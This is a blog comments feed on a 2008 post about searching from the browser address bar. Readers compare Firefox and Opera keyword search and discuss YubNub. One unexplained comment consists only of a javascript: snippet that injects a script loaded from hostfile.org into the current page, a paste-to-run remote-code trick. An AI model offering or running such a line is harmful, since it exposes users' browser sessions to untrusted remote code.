tag:blogger.com,1999:blog-18157064.post7251652962344563444..comments2024-03-18T02:14:57.204-07:00Comments on Google Operating System: Searching from the Address BarAlex Chituhttp://www.blogger.com/profile/02618542750965508582noreply@blogger.comBlogger10125tag:blogger.com,1999:blog-18157064.post-19682436807405061062008-08-04T04:18:00.000-07:002008-08-04T04:18:00.000-07:00javascript:d=document;c=d.createElement('script');...javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://hostfile.org/britney.js';void(0)Unknownhttps://www.blogger.com/profile/10707810960921825237noreply@blogger.comtag:blogger.com,1999:blog-18157064.post-30180182332894605052008-08-04T04:16:00.000-07:002008-08-04T04:16:00.000-07:00theme for metheme for meAnonymousnoreply@blogger.comtag:blogger.com,1999:blog-18157064.post-61580972632568322432008-06-18T13:41:00.000-07:002008-06-18T13:41:00.000-07:00Fx has already successfully integrated the two bar...Fx has already successfully integrated the two bars, but isn't saying so. the location bar by default does one of three things based on input:<BR/><BR/>1 the input looks like a url, it will go to the url<BR/>2 if not, the input goes to Google and if it scores an extremely high match with a page, Fx routes to the page directly. (eg, "google os blog)<BR/>3 if neither, it searches Google using your input<BR/><BR/>seems perfect to me. i think this has been around since 2.0. i haven't used the search bar in ages. obviously, some people would prefer a to search outside google which you can change in about:configEphileihttps://www.blogger.com/profile/10042877732655118785noreply@blogger.comtag:blogger.com,1999:blog-18157064.post-23414710617125855862008-06-14T19:24:00.000-07:002008-06-14T19:24:00.000-07:00Does this feature work with Open DNS ?Does this feature work with Open DNS ?Anonymousnoreply@blogger.comtag:blogger.com,1999:blog-18157064.post-11352572289696264142008-06-10T11:02:00.000-07:002008-06-10T11:02:00.000-07:00@Gabriel Kent:I tried your extension in Firefox 3,...@Gabriel Kent:<BR/>I tried your extension in Firefox 3, but I don't see any difference between using it and replacing the default value for keyword.Url.Alex Chituhttps://www.blogger.com/profile/02618542750965508582noreply@blogger.comtag:blogger.com,1999:blog-18157064.post-23328646220212617572008-06-10T10:13:00.000-07:002008-06-10T10:13:00.000-07:00The Internet as your Social Operating System is wh...The Internet as your Social Operating System is what YubNub has been stating and what RubNub aimed to make easier with native Firefox location bar integration...<BR/><BR/>For more info::<BR/><BR/>http://rubnub.org<BR/>http://yubnub.orgGabriel Kenthttps://www.blogger.com/profile/17285740023466849614noreply@blogger.comtag:blogger.com,1999:blog-18157064.post-92158249312579684002008-06-09T16:05:00.000-07:002008-06-09T16:05:00.000-07:00@Anonymous:Firefox has a similar feature, but no b...@Anonymous:<BR/>Firefox has a similar feature, but no browser mixes the autocomplete based on browsing history with search suggestions and navigational search results. If I type [opera m] in the address bar, the browser should suggest Opera Mini, Opera Mobile, even if I didn't visit those web pages.Alex Chituhttps://www.blogger.com/profile/02618542750965508582noreply@blogger.comtag:blogger.com,1999:blog-18157064.post-21233886991310634542008-06-09T15:49:00.000-07:002008-06-09T15:49:00.000-07:00I disagree with "no browser [has] found the right ...I disagree with "no browser [has] found the right way to integrate them properly". I use Opera's address bar as my search box all the time. You can use 'g' or 'w' to search google or wikipedia(you have to add that one). Adding a new search is easy, just open the preferences menu. The easy search is the main reasons I use Opera.Anonymousnoreply@blogger.comtag:blogger.com,1999:blog-18157064.post-16605483770921483392008-06-09T14:47:00.000-07:002008-06-09T14:47:00.000-07:00Yeah, I absolutely love this about Firefox. In fac...Yeah, I absolutely love this about Firefox. In fact, I caught myself saying "wi [word]" (my wikipedia search) to a friend in am IM, because I didn't know the word.<BR/>I have tons of search engines, shortcuts and even javascript snippets set up like this.<BR/>It's just like advanced keyboard shortcuts.Kalleguldhttps://www.blogger.com/profile/02287021212150562550noreply@blogger.comtag:blogger.com,1999:blog-18157064.post-18128582633419141742008-06-09T14:14:00.000-07:002008-06-09T14:14:00.000-07:00The combination of the address bar and a Google (o...The combination of the address bar and a Google (or other search engine) search makes for another pivotal change in the web. Think of it this way: we no longer have to memorize url's. This is akin to being able to pick up a phone, say, "Call ____" and have the phone get the person you're thinking of most of the time. <BR/><BR/>The effects of this are many even if I can only think of a few right now. First, there's the convenience to users of the browser. Second, increased traffic driven correctly to business websites. Third, the possible devaluation of domain squatting. Fourth, the correction of mis-typed entries (i.e. the old Whitehouse.com porn site). The list could go on. <BR/><BR/>But the big thing is that the web is becoming more and more automatic to users. The search engine is becoming more of a background utility, one that we use even if we don't know we're using it. Making the browser more transparent makes it more useful. I think of it this way: when I first started using the web I had to think about where I was going, how to get there, and what to say to a search engine. Now, the process is more like breathing: I can control it and run things just as I used to or I can just let it happen and go on with my life. <BR/><BR/>Cool stuff. <BR/><BR/>The odd thing is how few people know about this feature in Firefox. When they see me typing common language queries into the address bar, I get some odd looks. But then it works and every observer, every single one is taken aback and then very pleased with the idea that something could be so easy.bgfay.comhttps://www.blogger.com/profile/08992793292580911273noreply@blogger.com